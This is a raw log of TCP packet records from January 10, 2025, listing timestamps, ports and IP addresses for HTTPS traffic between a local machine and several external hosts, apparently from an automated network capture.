Jan 10, 2025 12:04:35.016357899 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.016519070 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.016568899 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.016639948 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.016685009 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.016804934 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.016849041 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.017111063 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.017167091 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.017277002 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.017337084 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.017457962 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.017508030 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.017535925 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.017585039 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.017733097 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.017792940 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.018224955 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.018270969 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.018300056 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.018346071 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.018404007 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.018450975 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.018518925 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.018563986 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.021183968 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.021239042 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.021317959 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.021367073 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.021449089 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.021497011 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.021523952 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.021570921 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.021872044 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.021924019 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.021955013 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.022011995 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.022027016 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.022075891 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.022222042 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.022273064 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.022644997 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.022695065 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.030313015 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.030810118 CET	49856	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.030836105 CET	443	49856	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.031611919 CET	49859	443	192.168.2.5	104.18.40.240
Jan 10, 2025 12:04:35.031629086 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.066474915 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.066545963 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.066550016 CET	49859	443	192.168.2.5	104.18.40.240
Jan 10, 2025 12:04:35.066564083 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.066598892 CET	49859	443	192.168.2.5	104.18.40.240
Jan 10, 2025 12:04:35.066606045 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.066679001 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.066688061 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.066725969 CET	49859	443	192.168.2.5	104.18.40.240
Jan 10, 2025 12:04:35.066734076 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.066925049 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.066977024 CET	49859	443	192.168.2.5	104.18.40.240
Jan 10, 2025 12:04:35.066983938 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.067056894 CET	49859	443	192.168.2.5	104.18.40.240
Jan 10, 2025 12:04:35.067064047 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.067121983 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.067172050 CET	49859	443	192.168.2.5	104.18.40.240
Jan 10, 2025 12:04:35.067179918 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.067217112 CET	49859	443	192.168.2.5	104.18.40.240
Jan 10, 2025 12:04:35.067239046 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.067291975 CET	49859	443	192.168.2.5	104.18.40.240
Jan 10, 2025 12:04:35.067431927 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.067473888 CET	49859	443	192.168.2.5	104.18.40.240
Jan 10, 2025 12:04:35.067526102 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.067689896 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.067739010 CET	49859	443	192.168.2.5	104.18.40.240
Jan 10, 2025 12:04:35.107564926 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.107635975 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.108236074 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.108244896 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.108294964 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.108304977 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.108319998 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.108345985 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.108374119 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.109133005 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.109149933 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.109200001 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.109210968 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.109251022 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.109807014 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.109824896 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.109884977 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.109891891 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.109940052 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.109980106 CET	49859	443	192.168.2.5	104.18.40.240
Jan 10, 2025 12:04:35.109999895 CET	443	49859	104.18.40.240	192.168.2.5
Jan 10, 2025 12:04:35.110673904 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.110691071 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.110747099 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.110754967 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.110794067 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.111335039 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.111352921 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.111397028 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.111402035 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.111438990 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.111457109 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.111799955 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.111815929 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.111865044 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.111871004 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.111897945 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.111916065 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.112045050 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.112483025 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.112498999 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.112541914 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.112557888 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.112597942 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.112622023 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.112873077 CET	49868	443	192.168.2.5	104.16.107.254
Jan 10, 2025 12:04:35.112911940 CET	443	49868	104.16.107.254	192.168.2.5
Jan 10, 2025 12:04:35.112970114 CET	49868	443	192.168.2.5	104.16.107.254
Jan 10, 2025 12:04:35.113260031 CET	49868	443	192.168.2.5	104.16.107.254
Jan 10, 2025 12:04:35.113276958 CET	443	49868	104.16.107.254	192.168.2.5
Jan 10, 2025 12:04:35.120301008 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.126952887 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.127197981 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.127213955 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.128271103 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.128334045 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.128748894 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.128820896 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.129003048 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.129009962 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.169267893 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.186860085 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.186906099 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.186974049 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.187462091 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.187496901 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.187551975 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.188272953 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.188287973 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.188951969 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.188966990 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.189444065 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.189475060 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.189538002 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.189976931 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.189990997 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.197985888 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.198246956 CET	49864	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.198252916 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.199525118 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.199594975 CET	49864	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.199625969 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.199654102 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.199691057 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.199702024 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.199714899 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.199742079 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.200072050 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.200089931 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.200133085 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.200139999 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.200174093 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.200189114 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.200318098 CET	49864	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.200382948 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.200462103 CET	49864	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.200467110 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.200521946 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.200546026 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.200576067 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.200583935 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.200613976 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.200639963 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.201073885 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.201093912 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.201136112 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.201143026 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.201170921 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.201190948 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.201195002 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.201503038 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.201534986 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.201571941 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.201579094 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.201608896 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.202028036 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.202042103 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.202097893 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.202110052 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.202528000 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.202547073 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.202600956 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.202608109 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.202925920 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.202940941 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.202992916 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.203001976 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.247983932 CET	49864	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.248457909 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.248553991 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.248586893 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.248600006 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.248610020 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.248651028 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.248651981 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.248675108 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.248680115 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.248734951 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.248739958 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.249059916 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.249099970 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.249104977 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.249533892 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.249576092 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.249583006 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.291074991 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.291091919 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.291239977 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.291239977 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.291275024 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.291315079 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.291589975 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.291605949 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.291670084 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.291680098 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.291819096 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.292207003 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.292221069 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.292277098 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.292284012 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.292553902 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.292891026 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.292906046 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.292958975 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.292967081 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.293004990 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.293242931 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.293256998 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.293298006 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.293303967 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.293338060 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.293356895 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.293657064 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.293663025 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.293941975 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.293976068 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.293999910 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.294006109 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.294034958 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.294037104 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.294058084 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.294085979 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.296005964 CET	49858	443	192.168.2.5	104.18.138.17
Jan 10, 2025 12:04:35.296030045 CET	443	49858	104.18.138.17	192.168.2.5
Jan 10, 2025 12:04:35.321760893 CET	49872	443	192.168.2.5	104.17.174.91
Jan 10, 2025 12:04:35.321805954 CET	443	49872	104.17.174.91	192.168.2.5
Jan 10, 2025 12:04:35.321866989 CET	49872	443	192.168.2.5	104.17.174.91
Jan 10, 2025 12:04:35.322102070 CET	49872	443	192.168.2.5	104.17.174.91
Jan 10, 2025 12:04:35.322123051 CET	443	49872	104.17.174.91	192.168.2.5
Jan 10, 2025 12:04:35.327974081 CET	49873	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.328000069 CET	443	49873	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.328067064 CET	49873	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.328246117 CET	49873	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.328258038 CET	443	49873	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.334901094 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.338093996 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.338176966 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.338211060 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.338226080 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.338249922 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.338290930 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.338296890 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.338905096 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.338952065 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.338957071 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.338965893 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.339004040 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.339010954 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.339621067 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.339654922 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.339664936 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.339673042 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.339705944 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.339710951 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.340428114 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.340462923 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.340472937 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.340480089 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.340512991 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.340517044 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.340552092 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.340583086 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.340588093 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.341379881 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.341428995 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.341435909 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.341444969 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.341480017 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.341487885 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.357543945 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:35.357561111 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.357635021 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:35.357847929 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:35.357857943 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.389467955 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.389497995 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.421112061 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.421209097 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.421250105 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.421261072 CET	49864	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.421272993 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.421302080 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.421312094 CET	49864	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.421318054 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.421354055 CET	49864	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.421360016 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.421509027 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.421545982 CET	49864	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.421550035 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.421580076 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.421619892 CET	49864	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.422350883 CET	49864	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.422358990 CET	443	49864	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.428003073 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.428037882 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.428073883 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.428106070 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.428185940 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.428185940 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.428205013 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.428212881 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.428240061 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.428312063 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.428376913 CET	443	49863	104.18.141.119	192.168.2.5
Jan 10, 2025 12:04:35.428426027 CET	49863	443	192.168.2.5	104.18.141.119
Jan 10, 2025 12:04:35.429234982 CET	443	49863	104.18.141.119	192.168.2.5
